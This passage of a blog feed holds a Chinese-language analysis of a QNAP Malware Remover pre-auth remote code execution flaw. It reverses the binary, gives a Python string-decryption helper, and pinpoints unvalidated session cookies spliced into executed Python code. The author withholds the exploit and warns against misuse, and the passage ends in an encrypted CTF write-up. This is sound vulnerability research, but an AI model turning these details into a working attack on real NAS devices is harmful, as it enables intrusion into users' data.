data-srcset="https://hans362-img.oss.0vv0.top/2025/11/29/4b33832707890fd73acb4052d54b75af.png" srcset="/loading.gif" alt=""></p><p>这 Cookie 名称都不是 ASCII 字符啊？？？怎么可能？莫慌，八成是加密了，看一眼交叉引用。</p><p><img src="https://hans362-img.oss.0vv0.top/2025/11/29/415543e83f32d6b58dc1e606f6487a71.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/11/29/415543e83f32d6b58dc1e606f6487a71.png" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2025/11/29/9be975294105b2a37d6d045c57251d6c.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/11/29/9be975294105b2a37d6d045c57251d6c.png" srcset="/loading.gif" alt=""></p><p>果然，在 <code>main</code> 函数的开头还有这么长一串东西差点被我忽略了，盲猜这个 <code>a6cC35277ad1a4g</code> 应该就是密钥，<code>sub_B420</code> 是解密函数，而 <code>sub_B520</code> 则是对密钥做了初始化。于是把 <code>sub_B420</code>、<code>sub_B520</code> 的反编译结果丢给 Gemini 3 Pro，它很快就给我写出了 Python 版本的解密代码：</p><pre><code class="hljs python">raw_key_str = <span class="hljs-string">"6c=c3527=7ad1a4gdg4=4g00g6d`a1&lt;`"</span>xor_val = <span class="hljs-number">243</span> ^ <span class="hljs-number">246</span>real_key = <span class="hljs-string">""</span><span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> raw_key_str:    real_key += <span class="hljs-built_in">chr</span>(<span class="hljs-built_in">ord</span>(c) ^ xor_val)key_bytes = [<span class="hljs-built_in">ord</span>(c) <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> real_key]key_len = <span class="hljs-built_in">len</span>(key_bytes)<span class="hljs-keyword">def</span> <span class="hljs-title function_">decrypt</span>(<span class="hljs-params">cipher</span>):    res = <span class="hljs-string">""</span>    <span class="hljs-keyword">for</span> i, b <span class="hljs-keyword">in</span> <span class="hljs-built_in">enumerate</span>(cipher):        k = key_bytes[i % key_len]        val = (b - k) &amp; <span class="hljs-number">0xFF</span>        res += <span class="hljs-built_in">chr</span>(val)    <span class="hljs-keyword">return</span> res</code></pre><p>有了这个脚本后，不仅仅是 Cookie 名称，可以把 <code>main</code> 函数开头那一大堆加密的内容全解开。解开一看，原来四个 Cookie 名称分别是 <code>nas_sid</code>、<code>NAS_SID</code>、<code>QTS_SSID</code>、<code>QTS_SSL_SSID</code>，看来漏洞应该就是在这四个 Cookie 中的任何一个，传入一些字母数字之外的特殊字符，最终造成 RCE。</p><p>于是继续往下跟踪，看看到底哪里用到了这些 SID，很快就又注意到了问题。</p><p><img src="https://hans362-img.oss.0vv0.top/2025/11/29/a029a0663da6ef2f3c9a60149fce4941.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/11/29/a029a0663da6ef2f3c9a60149fce4941.png" srcset="/loading.gif" alt=""></p><p>这里调用了 <code>snprintf</code> 函数，格式化字符串模板是 <code>byte_21A000</code>，两个参数是 <code>v77[0]</code> 和 <code>v8</code>，其中 <code>v8</code> 就是提取出用户输入的 Cookie 值。那么自然就会好奇这个模板长什么样，跟过去结果发现又是加密的。。。（这么喜欢加密，一定有什么不可告人的秘密藏着掖着吧 hhh）</p><p><img src="https://hans362-img.oss.0vv0.top/2025/11/29/d4beacf644138baf59e1444fa561f95a.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/11/29/d4beacf644138baf59e1444fa561f95a.png" srcset="/loading.gif" alt=""></p><p>继续用上面的解密脚本解开，然后。。。瞳孔地震</p><p><img src="https://hans362-img.oss.0vv0.top/2025/11/29/ce6e6f59b7fb1a2e69d47120bf8c83de.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/11/29/ce6e6f59b7fb1a2e69d47120bf8c83de.png" srcset="/loading.gif" alt=""></p><p>还记得第二个参数吗？在补丁之前的版本中，那可是用户完全可控的 Cookie 值啊！就这么<s>水灵灵地</s>拼接进 Python 代码里了？？？</p><p>至此真相大白，<code>malware_remover.cgi</code> 在处理用户请求时，会从 Cookie 头中依次提取出 <code>nas_sid</code>、<code>NAS_SID</code>、<code>QTS_SSID</code>、<code>QTS_SSL_SSID</code>，拼接进这段 Python 代码里执行，调用 <code>qnap_helper</code> 模块的 <code>check_sid</code> 函数进行检查，如果这个函数返回 True，则认为用户已认证通过，如果四个 Cookie 值都没有通过检查则返回 401 未授权错误。补丁前的版本没有对用户传入的 Cookie 值做任何检查，导致攻击者可以注入任意 Python 代码，从而实现远程代码执行。补丁后的版本则增加了对 Cookie 值的检查，要求其必须是纯字母数字，虽然这个不优雅的代码拼接依然存在，但也只能留给攻击者无尽遐想了。。。</p><h2 id="漏洞利用"><a class="markdownIt-Anchor" href="#漏洞利用"></a> 漏洞利用</h2><p>EXP：</p><pre><code class="hljs python">都读到这了，如果你真的认真读了，写出 EXP 应该是轻而易举的，所以我就不写了，留给大家自己动手实践吧~（注意遵守相关法律法规，千万不要拿别人的 NAS 下手，不许干坏事哦！）</code></pre><h2 id="总结"><a class="markdownIt-Anchor" href="#总结"></a> 总结</h2><p>原以为 PWN2OWN 上曝出的价值 $20000 的漏洞应该会相当复杂，没想到竟是如此简单的代码注入漏洞，整个分析过程稍微有点难度的也就是解密那堆字符串，如今交给大模型也已经能够轻松搞定了。然而就是这么简单的一个漏洞，却能够造成巨大的危害，真真切切地影响成千上万 QNAP NAS 用户的数据安全。从这个漏洞中可以看出，QNAP 在代码质量方面确实存在不小的问题，尤其是这种直接把用户输入拼接进代码执行、为了不被发现还搞了一堆加密的做法，简直就是草台班子。对于真正想搞事情的攻击者来说，这些加密根本起不到任何作用。</p><p>事实上，在后续研究了 QNAP 其他组件的代码后，短时间内我是不会考虑购买 QNAP 的 NAS 设备了。整个系统简直是个用胶水勉强粘起来的缝合怪——各种模块之间全靠五花八门的胶水代码硬凑在一起，语言和框架混用得让人眼花缭乱：C/C++、Python (Flask、Django)、PHP (Laravel、LMVC)、Bash，你敢想象网络与虚拟交换机这种核心功能居然是用 Django 写的。光是用户认证就见识了不下三种实现方式：有的调用动态链接库中的 <code>auth_get_session</code> 函数，有的通过 HTTP 请求调用 <code>authLogin.cgi</code> 接口，还有的执行 <code>/sbin/user_cmd</code> 命令。即使是 Python 调用 <code>authLogin.cgi</code> 接口，又能搞出三种花样：有拼接 <code>curl</code> 命令的，有用 <code>requests</code> 库的，还有直接上 <code>urllib</code> 的。在这个漏洞中，<code>malware_remover.cgi</code> 明明可以调用 <code>auth_get_session</code> 函数进行认证，结果偏偏就要自己拼接 Python 代码调用 <code>qnap_helper.check_sid</code>，搞笑的是 <code>qnap_helper.check_sid</code> 又是去调用 <code>curl</code> 命令请求 <code>authLogin.cgi</code> 接口，真是相当令人无语。</p><p><img src="https://hans362-img.oss.0vv0.top/2025/11/29/650fa3597944e1e3571aa2288055f3be.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/11/29/650fa3597944e1e3571aa2288055f3be.png" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2025/11/29/89ffefc2f0ea6e51af631787261e2853.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2025/11/29/89ffefc2f0ea6e51af631787261e2853.png" srcset="/loading.gif" alt=""></p><p>值得肯定的是，QNAP 对于安全漏洞的态度是相当积极的，不仅推出了漏洞赏金计划，积极参与 PWN2OWN 这类国际级安全赛事，补丁发布也较为及时。希望 QNAP 未来能够更加注重提升代码质量，少一些胶水代码，多一些严谨设计，毕竟用户的数据安全才是最重要的。</p></body></html>]]></content>
    
    
    <summary type="html">&lt;p&gt;在前不久的 PWN2OWN 2025 大赛上，QNAP Malware Remover 被曝出存在一个严重的 PreAuth RCE 漏洞，编号 CVE-2025-11837 (&lt;a href=&quot;https://www.qnap.com/en/security-advisory/qsa-25-47&quot;&gt;QSA-25-47&lt;/a&gt;)。作为 QNAP NAS 系统（QTS、QuTS hero、QuTScloud）的预置软件，这个漏洞的影响范围可以说是非常广泛，应该有不少人已经做了相关研究，不过网上似乎目前还没有关于漏洞细节的分析。正好前段时间 QWB 的一道 RW 题就是考察的这个漏洞，为了解题做了一些分析和研究，就顺便水一篇文章吧。&lt;/p&gt;</summary>
    
    
    
    <category term="技术向" scheme="https://blog.hans362.cn/categories/%E6%8A%80%E6%9C%AF%E5%90%91/"/>
    
    
    <category term="Web" scheme="https://blog.hans362.cn/tags/Web/"/>
    
    <category term="网络安全" scheme="https://blog.hans362.cn/tags/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
    
    <category term="QNAP" scheme="https://blog.hans362.cn/tags/QNAP/"/>
    
    <category term="漏洞分析" scheme="https://blog.hans362.cn/tags/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/"/>
    
    <category term="CVE" scheme="https://blog.hans362.cn/tags/CVE/"/>
    
  </entry>
  
  <entry>
    <title>SJTU-CTF 2025 部分 WriteUp</title>
    <link href="https://blog.hans362.cn/post/sjtu-ctf-2025-writeup/"/>
    <id>https://blog.hans362.cn/post/sjtu-ctf-2025-writeup/</id>
    <published>2025-04-10T15:33:33.000Z</published>
    <updated>2025-12-31T14:36:17.823Z</updated>
    
    <content type="html"><![CDATA[<html><head><link rel="stylesheet" class="aplayer-secondary-style-marker" href="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.css"><script src="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script>var meting_api='https://api-v2.hans362.cn/vip/?server=:server&type=:type&id=:id&r=:r'</script><script class="meting-secondary-script-marker" src="/js/Meting.min.js"></script></head><body><p>又是一年一度的校赛，今年继续给校赛出了 2 道 Web 题：SmartGrader、EzWebAuthn(_Revenge)，赛后按照惯例发一下出题思路和解题过程。不过考虑到题目后续会搬到校内 OJ，为避免影响后面同学的练习效果就全部加密了，密码是对应题目的 Flag，解出后可以来看看出题思路和可能的其他解法。</p><span id="more"></span><h2 id="smartgrader"><a class="markdownIt-Anchor" href="#smartgrader"></a> SmartGrader</h2><p>来试试我写的分数换算小工具吧！</p><p><a href="https://hans362-img.oss.0vv0.top/2025/04/10/SmartGrader-1998cadd4d19944ea3318db44d6e4bed.zip">Attachment</a></p><details><summary>答题情况</summary><p>11 Solves (SJTU 5 Solves + ZJU 6 Solves) / 590 pts</p></details><hr><p>一个抽象的分数换算小工具，用户可以输入评分规则和百分制成绩，提交给后端换算成等级制成绩。</p>    <div class="encrypt card" style="text-align:center;">      <div style="font-size:1.1rem;display:inline-flex;align-items:center;"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="currentColor" class="icon icon-tabler icons-tabler-filled icon-tabler-lock"><path stroke="none" d="M0 0h24v24H0z" fill="none"></path><path d="M12 2a5 5 0 0 1 5 5v3a3 3 0 0 1 3 3v6a3 3 0 0 1 -3 3h-10a3 3 0 0 1 -3 -3v-6a3 3 0 0 1 3 -3v-3a5 5 0 0 1 5 -5m0 12a2 2 0 0 0 -1.995 1.85l-.005 .15a2 2 0 1 0 2 -2m0 -10a3 3 0 0 0 -3 3v3h6v-3a3 3 0 0 0 -3 -3"></path></svg> 内容受密码保护</div>      <p style="font-size:0.8rem;">密码提示：密码为 SmartGrader 题目的 Flag</p>      <form class="search-form" onsubmit="decrypt(this.querySelector('a'));return false;">        <input type="password" class="password search-input" placeholder="请输入密码" autocomplete="password">        <input type="hidden" class="cipher" value="24725d9796f875e0c87d0620ade70d36be9c394a7e2bb1eadc613467c0456d5f27cd70ebf00787a9ab544fb7bed85a873e15cda99bcfc5310aaa1dc0140b6d05220990053d74115e5d20935e30eceda8951aa2989d67db19faef79ac4cbcdaf2377865837f7c8f4c565a8bac4e406f26898b11defd85dd346e50c68e34606de5ad240deee847052dc9152e44e5870e525cbca789be8cb29fe0e422d5eb7e19078a140489f7c975fe7105ec35964b76101a8732933ccc535a6603ee65e28bd0ce62062c14dfc0e91f5747e4f3415de33edaba927c72238a8147808ef8ec56fdccd76e9f3a0ae39bab75ab03fe4c99cd0aadaa7784c2b0c5bed486db3ae10c6f297d412de4029fa35101d327ab33942c4ca9d5ee2efe4d64e032ccf46a39ef3dcc51da16f9d4811c7f7d0ad47abebcab5b68806cfc0650046cce1a5f230b5cc9a447512974bf285426127094fe67d76b4b66586aef929b5ab7edf671da1af8c28578960d2a76130348ab9d47e91466131c90596e3bc5fa5e38fa931897eb3d20b7933293801dd8d33ea2e1513e358c050ed7cd40ae07ab909395b257fd4dfee8b3e511db25faca27d8fc7ae895be5add65c4b32ff209fdb2e0d1a802c703fa0c1bd243ab753838bf0d0417ea14cfd74c738a03839e44608c3cd442f788c5bfd0f7e5fecc37c8910dd464bb0fcb9b5e6f27f4305680a6f3231dbe01850bbd7aa23d877988f295ea56186fee028b5f26d6edf96b295af13bbe64c06c382ab9c56d54b80cb36962dd9db5c29db3bbba4a8729467f32b7b3e54c2fdec7430789eaf717dac3d0da97ce7b8de6e10745d2e708ad4b5164456cba23c428c36febde4df77b7c6387813c6f786cb76cc752714e998540b1528640fa3b5a2787ddcdc4fa13364bd5c9573a480607a6cd1cb236ad567193a6a034462a7d01d55496c3884f902ee04c37067c684f92a5c6efdfa99088043c599eb5f030a6a066ea07aa3eac2a6d71c20a0af82b865cea9a3d5a218f7db1079ed8460a972bb9efa6bc83606197097fa050844af82e2dafd60ec7db868fe7898db99712bcdfae164948b905b08768aca8c9c0a1cd2b9bfc83e97fdf179958133e7a4e04409a8dd3ebe5cef5ecbb84dabc5018505e31cd942edc401fbef85c1a31bf7dfd0e00544285be392d03d60e5fd1aee2e03061ef969fc32bf0e7f6f51bc70da5b3fad977d4f5ec6a035e6c315ec5ceea1d0813bae052a20cfaa90eaff8d75bea5c8106a036e426aa2205be5b1fbf2cec946d3d3af6dad34c71c7070aed4fd657375d393794d4fcb443fac4f5b4dd2c101543879d8e3957bb9c2a718434a66939b0324ac7bb3bced5e6995186f233f8a644b206cdab86d3d70e50f158f1017128b9d2e596897c866e20f62ad2b447c231fd3179c5c16ff28246995207e3b5c792d93a574eb6415284fc73f8a42db26e13277d43cf545adb69b42fa6abac8300ec1df828b6fdcac9f440355a467f0385138338b8f1f5069b844aecba8005ac914c4db8ec45b9332e0c1e38afd7d8213f91b274ddfe36eef2dab71c9563a16256459380dd64a9003aa553753e7d85f5f66591da08978cb56803d5c7e3a1acc098630d8dfefb27e67e8f256b214b0d348d555dbf99cb1ada05283fd778f6f5e188e5ec4099604c95ad300269a11210c7a3cd01692492d78d7f4e03a88a153511cecde32813252c2f291431b0eb5ed4a689274c166044534777ec00a8738a52cb262e92a8e03f139e910c4a38d2b99209cdcb9ae16b34800e7df6375b25233f2d0c3ac7ed1c176080d8b03192e3a47863eaa36393cd66c6cfdc74369172bbc80f858380ae6483ddf7efb2e2e18816dac2d7176021648530453411e70701dc30175675df3640288fa4ec9ae8f37ad40256031eff209022e11a8c73a37f45eccc41996d7a909f5f81872a13cfd72842cec7af3b9035d2bd420eba35b3678d0d3f9069398afa5ac423ae8463e9035e0b6a215f77495e54760e0f28e207bceb0a4ff4ad739d37f3ad553c3890f9c81bac6a9c06eaed591ea8f5bc8f27aa999b3232f99a453ee2c58c36a303951665ae4cfddc3c3db2515fbe0aa08227c2df680ba299e939f4a687f4345188bc9e300dae7dc3860eab37ed443609e712bd32f26a85e57f19b0f6f6660b3a597015201994b13bf3366ff6cd203e9f833dc07f46346db29f173088bfd02d07417a0cfab0f8269030976f09d21eb9d527e1aaa6145c29dfd8bea3863af1c1d962d260720583aca549c603c9ddf65e8b32bf173c829ee34842a75f71c39685ec37776d1f372815e36c9e81524f45f5745ce97b263048b2f2e85a6a17e83f8daf78ede864cb69bf47b35a8dea240e82f2a6dab6195473d52bf815c64d0f59a7c46d2cb67c71ef9d0c3e540ae60d736ccb82ef28e70106c0d0b3799e88d681a30ea87157bd63699a461863fcc45e966f77826428280e88166b88211b870a325757b8c9fd85c3814ac7e80fd52dfb2f0e1616b7ce88eb789d02bc78f3b72c06b9112eea4f09d039e8fd49178a1049fe68266677602cdd458dd38c738068a276d34a66a3dd53464f7704da0c4c793d7014a3d35a220fb30e7dcf121c3c80d7c4fdc0fcb2c664279fc4846a88c0ebaf4de70d10a433b144856fd5e464207db1cac447d8149eee42508757ce870493cc2f4c9fcbf863200afba193259170cddbe34b94a3612a75d1a9775a9bdc58993d68595a6d6d693406e86437f1666e4fef75dc8c3addee5119c17ec106054391db5af3dfc29dace988b377ca5d6d191b50ef5b3cc81f89524091630408ebb31f2f76c97abd90a3be95972059527424d9da9389236d18ef9c7ae07cdcc25ee8a29b3038d95b3b0e08252c503c2e204394a086dba1ebf7dd8f3187a725d552b03b9e88a79f349f79cdd09a5500c8bd37e47f0b31450d09a136307908fd45583eca4b4f8cd45c5c2b89691fa79816d457205c6aee921bc0361de559ea69818aef080964c9b74dd9457273eebd16a7025e5a3481ffeb33a25554275f3ac27d29a574f154b1ee7f8f9ba60aa7f8a1207cb458b008825b7ad334255dfb375849ac6613f4a45aff984c535c52c00499da0104cc2bb23f106448c6ee3dfb33f07142e523535573fd14c8102aeda9138eb6190840a018a32ddf99c5afd240d336fac97e3d941d1f9e1d4838c952f5ac9de7fe1ab60f324195f342837991942e3e700fe66ea502fb13e6a0a80eff1a1324223146e730f96da9f95dc72875c54caae2be9133c1b52cde6297d5843c02842ec48ebcd1a5fb8dfc32fc72ec9440cef06ef6aea062d6bbe2071424aa32cc2b7ced0574cefd5320bd20e9f0ceef0b8fd288f409f5089c95037738cb0cda60b73a9c882e51a8022ba0d71876592dfedaabd995833f7c51cb2d77cf5428d8730193abc6813412adad8113903f82e695e31e88503c952ebd939c2aa54e6756a71bc2bda2f27eaadc3863f1ad495af4d9dce84f82f4c92eb6fbaffaf04bbf2b89df783fc39182719902230c47e035bcc7e835eeea52e31f7434fc5396d885c65e71f0d29f0b13efee1c8207dc8367cb3744a8db50d9a49f0fdd708285602aa7f079c8703dfc78aa33b9f320f59ab79a881008bfd8ae41acedc9961a33da60d4d6f5c4210f621b705171d121c346cb8a28a0aa8e98ab06154c8bd29c2a1558a02f92527910b62d3508bb88c956e7f5c91ada73326f275d5fddbdaf4562aac5d0435352671dafd41cfdaeec68c08cc82cfd19f9bf47b1d11f7bf1151f352d3f1ea5a5b943c78b27c7f144fbadd3f1567f30baa3fa575909deb8d802b255bba2d9e3f332b5d5ccba8ede9cb773c29f4596514c8a9d5a53751dbf2601fb8840f335bfb134874c1d3e1390cd2cb7e4621f8f47015424eeb448dd82155efb458adcd79beb7819050c510f544e1bf280ebf494a37dacc3fb5b18200a7d67430359cd73aad9e844bdfebccfd28c2beebf5621aac7c37f33da3d52ee31581ba0f3c31716ac053d7da17e445c3d3203751e0303f94e6370556d20c69f583ebf4b32e9b08d61732aa730af0826bc1a362e1b4e7dce49f035e91986b470b66edb64d58fb73c81d5adfcea84edcb566cbbd05b7dccbe3be925a25a901d9a5d8cf46f33be32aca790e79adfc922d6f33622df1828233f166774e306b0ec89cd9489eaf0c2b98e284a03aff52647d1f18d3c22e6229bbe86f01d18a342bcafd89bf7664d02441f32d3b70f6a66131968ccba0f4822e85a3679a75cfd69af27981af6116d932c40368e546744727db5768313ab892dae849abc6a71ec52f4905f8f8cf1302915ac54079ec1a635110e6cd3d74aa0f09d48cab14b2b5b6d6de5cc3a3ac26c9bd28fffbca9dc20fcf7bc84a770e311cb994e0990c5fd37549852b768787079c28d50818d302dafc5f857973a6132eaa3b51f4f8d78c29f019096ded4086834e4275c13d1976f9b23cbccf37ad56db2a655a920b15d77abe53bdfefde29fac656a10112eec4fece777b0320dbaedc69fb7c2a0b272a1b2070a306da71da158392a877c15d2c4dd890f56e1e20321eccfdc261c5da17228338ef0fb01cb6539d40c305de0110fa53856dbcdcf84335c971ce05cca6d63e4b1e60766c5fdf9f445b7c62bad6418cf107b6b710e343360e502342f7ea2ab6008d0da1b276d435b873ff9a0e548d49f436eb1f604a481c8d5d8bdf50a3473f3972096e9c4ee03f010d9fcfb5b62dd10ae5647fddb599fc991e2c387dc2210297f3fc63d5d7e7df7d45723a63e3b8946e2fcd73a7a297c09d75249b559b3dcc59a28eafce1c4978c3b273f8bc01a496f7c0933590383899f7e3f54f6b0e9ee97eea0ad5e8abc22bdb44ffe98f29fd2968e3a2a5e531276dd8223c03c922b7a5c215de773e1df4c3b8cb1715870d314a8be0bb8d10c30a8e9b43cfdae9bfe550e7c8313f2da4b29f1e405f20f0174c92dc002d74bd528a6fae5831cf1c3c418b74f118834d1b3ee3f183121af42466d1b70c536fffea0697c6823c151be2f4c91bd42742765f8934af46b9cd8948db466c31e9877d9638d41f8bb78af5516069fcec52d55c309f3b93f9b067ab172c1d313611fef0a35bb18bf8a75567e6f2b23d39461d91a677a3e52462c9f28a32b00a262db19310d91fb9ae310ff90a7f26a51a53b785c1f582e31cf69263e5f2d881cbdc09b9e5c495e8821599aa820206fafd5c80127f1efdd3b19d2b8b8f3e21c892aad013f7b8025313033092dfebcddbc2393ec5dbf819923dff23557754cef72d207e63cbda86621062735caafdf3bdb187f58ac7af23f387e05bb3013c1a80c15cd2dadcc25002f981e71fbd3a1456f1013c8e4403091c7505d9a446162ff35ba675858074e349c18c7e4092e83ead2996db2074f5efd72ffeb0ef7582678a8557018f10b4e75a001f0e3a9e9377ab74977a4bb0ce2718574449c50a7bf96a36a2053a9efb4f9bafdc0c1ec6fccb506b50782f6a57a5e98508cae0d84dd7719fd8d69077e9eeb0a3c037f335e66dca6464bee3315e2c9b350483f5ca44936b0bb13817d158b335fe6c70d1eeb78aecf650f2c7d9f2c027bee047a089a7416016816ab15b2afeb1f08625e05ffa6937ab123796a61f179d966d87bb3f5e55664c6be85010c54032c2f72a8be0001f91e9d6fb9c10e87c2ca6b7faaedfc7c6605b15a3ae65349195e3daa571fe75e54a66f45b83b8bb29423200d0be9b00b93afca14734dd9a31733839b6efa01ff995563e404010344441c2f94c70e312b52064d59bdb89776d4a4e7da1f1af6cba043d476fbea534373363ccb925d2063c124d2ef3df890f24bce54fe8a87ce94698bfc449365f2eb6397e8820386af422e80cc4ff31fba3edb5eaa44ca441333613d7ac0d46b468198d1a9b801faf621faddf7432af8832ee9e90e9a5d88c666c680f3417c28a1549f88c884b1b5b53edeb553f4709b8f2907311379f2deb230afc5cb9108d7fe20acbc7ca2bae18d42113e6aa0fecd18bfcd0972534b8ebb12eb1903a734e5ad1a5795116debaf19d18d0c9eed8dbeba96c7d16c2eff6b6a79cee40dc0761f6a441a1498c8214c28339414986d31ab62be9bc7e37204a764fecae36c59f7f0b6e658aee4d4db3cbdf781ca6cce7b8f4849e5d7a3ae57ee7786bd31a3a8bce33ba9934f074bb54d2deb72b1a53bb6e099bb4baf9b124120311d22d28b29d103e659c6268fa17f924cb06a82037e110cdb50fb4f051f1e5b0ea991d7a1be853a6ae66b8943fcd0d1efa8c85a69a47c97c912c4f916d84980cff362727be6c89505d8857a5db4a49e588aa29530b64d7971568360b325b2d3da54f2e86016e97a47c3056062a49bad77c13769245498ae8bb4cbc6d79928cf112639db9bca261c3298b4ea80fc6bd4bf5892b977a1537cd0ed7f915651047810ee0eabee5291b09edbacdc20e834d9dd03464189d3ad4ae8eb09814b722971e0178484f0387e1838ab5d6ed35fb0f1abe788cf0ff50a1f920b1869c5d5aa11a159fcf8f76472de7b442f8aa0e45ed905b366f28ddc6b4be5934950a7498e8fac2d5123f5e2faf4aaccdbe830600f75de91e8c04819db4c3e0ea2e34712a001bb1ec088c3fa95a554ae9a766c1dc1ec01eb27eb6f5b05ffc95325cd5baeb9497760e61fe3431ceb42fcff18edef05231ffe0fb4362a33908f96935508c6918620fac63f91482403ec1f3c770d2b6d429ce1e802319c9065a79504f821a2ba5571deeb9672871fe051d01361d1e834c1f5c3a0a25914eb721515bf60c8247d4b53ba880a6bc2243e3cf8d6b5d40e33e04a3fee051c6a68e2f81c598f272560edb40505c7b4c77673acea7230428e5626161b87e2f4e6db3cb159703526d6f6b6c18179d9ef644e0739d49c9241c45a7fc5e2054ea9a02dba80f2d1e86efe00dfdf269745789a71db5650c0fa16088521bf92eff4d08c3ab0484387c78651bb747542cc77121c55bec2b4850a08d8256907f1d5c4b9a619f2220858cf82eae9b787377f4d8a2abbb34b0a148bfece78c77f6267d5b6d983e3112c64164d01878016bb69b5c274f8d51f271e1f97404f8a9d855755cdb1faaec8ebff62c8d2bfab1dfecb899a29febe39d1c150c9d935e2e5688ea5486b487d51c0e8b400fe38a3d0f0ab3502f52285bfefb2d76fe7c3672db15aafe7244f163a4652c7839b4882390aa284f88ff4fa069e949f642c1f73464b34329b0d85e579b5a632b8abe5adf15ee4f0cefa52615e5c499537972369701035c9931e383ce34c89a14f57adfe676857d42e57cc45c66b0b5b8c323a3d922f2bbe62276b6bdda2de7a6a61f12da2d3daf194c025dd72154fd740537cb4149f6c52b8dad5ec9562ddfb004a5bff29801a83ad7eee928a2b6dc706390ae44cf90fec380dbce5807a92510453dc93790979eb000c20837dc0d43faaa928aaf3fcbd82e5a8fc5e9f2a2ca13872f4c250e9864a7390cb94d919d118fdc03200909b0ed94ff5b3e0dcce650abc218e0a84ebdade1e9e4d261a6fcbef9ef2dafa4bdf3e75180c5fba5234f8bb624e6ba1549c4b956029dd7905dc0db4f71dbe3f61d370b57c5814080620dbdb409d2c035517147e0a34bf688513dcd744466a850e47c68e035de12d05d16aeef2e8c42c48c64c4ae9410c6dd71f460f7cff55fac7c45eefc4816ab92f71d31a02b4c337aa57edda62145fa3dae3d4f3e0c6d553a5d71cdb25fbce414fcd9f8845a382bd4a97d595f354b67c544fb8f8ffb7c348906c68b51bd7c01e7b8bb851629f31699e78c8fde1d7a9156d930d54d2798aa92f2693d64b66af47095b6142df281ddb5a2813bcd3cf0287ff64f2ac38269e12c6f57fe1a4dd312ada805f8f78c5eef2b849846a25bd68a3b939364a87b9dba850ff28c5416f134c27f4a38b888cda61782e205bed22e1344b60577960c60b3c8a2ebafba97d2432da7e5d60c25924d4ed38478846e8710d9be9c4607ee3a0acc4e1b5a725aa2719b6e608473909f29ca46a0097bd5f61e9c53d09dcbfeeb6b1d22076382cd12fd61cbe574374d4c8a9b57b1d5629f1d14c594d30097a7eb3a98df6030f29938b7ce0abb290c8400ded1a60c059e1603beee06fd426fe7f93b03b0257263f615a9ee1be67a7f49e9f4330ee5472d6a7154b9b644bbfdb165a619beb180e307b97b891a5edf84e0b567cfb717bafe1e3534a61be4f1635901a24631adae6bd02ababe324b344ec0b81ce643efc938e54231880c0973a4ef57cbaddf916d753dd8c055595c1d002a731336d728e7a774fced88c86f19b99df2067f83fe29d7810f63202c40c0c7e19ba0005fcad6e3f02658e782997d82ee151ba03e3fcdd5eedf748c0220929a92347c39221d99ff5d6409580f475ab397eaf369e748e46af5943f52a492ec975db42d18629197baf118f100585aa27d795cdadcd6beb9ac5aa43eb40809b47f5931cde952754ef5e02b8af22ebe6db8b2bba03e0a40ac7ea98cd511aaedf06dd75dc7096fa69977a8741a79b59c36569c8a866ac40678ee2d9f0c34f0f2274d8ca9976edcd1abe65fac410bae5b9e5c81dc95e88036456d557cfcff78c49d675e2498974da7abd680238f7fd948970b42698fc08ad830e6b763a4c8563bfa05e32f4c2dd78e8f7d7b4aca6b2c530a3f18b6a02343b41fea88b373af61363beb53344ba46667dcb1a3ba85ec4dda287a1d10f537a04c49fcf544873c2eb75fda8eab0fa3de07a9e828bc89f4612190dc1306726807ae5f19206ec2ce107b86e605d0cc4eb72af0cdf9e0d4434e60e877065e821794fd40bd136d1b3f7a560ba204145b0551e0c9e1f8447539b564b9e221d1c3491f2a8f5711b471ee60dd5d0066c080ace20e35dcf79b6a202c9ea6c9f3e35528a2228a0390a055cbf4c47cdd24cab45260cf5708cdd8f861ce548d09917142ed0ea87ef319649e0dee0528c6e9b0db1248210a99601ed2e3e5034a290b41a142149082b4b0c2568e191efa487a08602cf605e3a05b054de0a466c430af06036a79a793193a96aba3f2c1253b3cde26ba63c8deacbef600b501e85563e0e354570e3731980f9ce21e39e2d73ab2b23a4c9cd81931fc3ef9fd2b842601614a07df8b8f838ea5b817999c47c6a238312369686e521330f0a8541079e429ac580d4e2ce7051612d5a48bcfa95ccf1952ba22aa882d5dad29df490e409882a030d1a2f0b7c0aba3245cd2f34f5b1c446c711f8afbbc2ef9f7a4fa4cb96e123d1b4951ed05755a7ceaa8b111dd089c65db5cab42f950240220f6a700bd9cdc2e447181f843fc98b4da9e628ebe4337106ade335a6c754ad8bb0078217b46411e80003f4b7a213abcc87bdd151d2f75ceb992e81a6e962580e98252a6a76359ca22055b51ecd2286732643f82bd19f1e9f896e206d70350c606ccb5f46c6773b8e84d211221bdd230168ec600305ce0372b256cb08e06edc3ceadb828a6f91537357984894886a664ce29fe07f5c4bbd0015ce40714d59f0a3eb572ab62650d57bef53433499d09afcf1d56fb7cb68bcfc178dba35ec6e6af65c5304d7e2cab02e75642e1cb4381b78c126f22f33643beb8e5dfc2eacaecce5a034d06e9235fd136c26e402fc8b0fb7ac68b5ed354a349dbf2c8306769227f6491d70c34d0d6e319402f0bd6c65e5e58175ac69bda24a0263b18a04ed528f2dd17c59123ba35f2a439914106f8dd2138b9892d5a0d635bb6ebef7f545c25d385effc216e74949b58c52db10c84b45f1fece84ea33b7461d60f1206bbb0ae2d4ed06edfaee36fc955b2dc45f4c28132ea7e0d43dd9b740f2ed44dd7e88165d2e21eab9a3752ae505fc1fad4bf4a01e5544244407d9247ea54c770160520fbacc4bf016340264445a646036e5c7dab61b52e0084f7f76fde5667f6f905a5ee2c21e967c15cbfc23de34a7c9bd9c72a02ca9e74f552a343a05b25ddc680699fbc204cdb7e8d3b12718a360ac294198c69a2e6d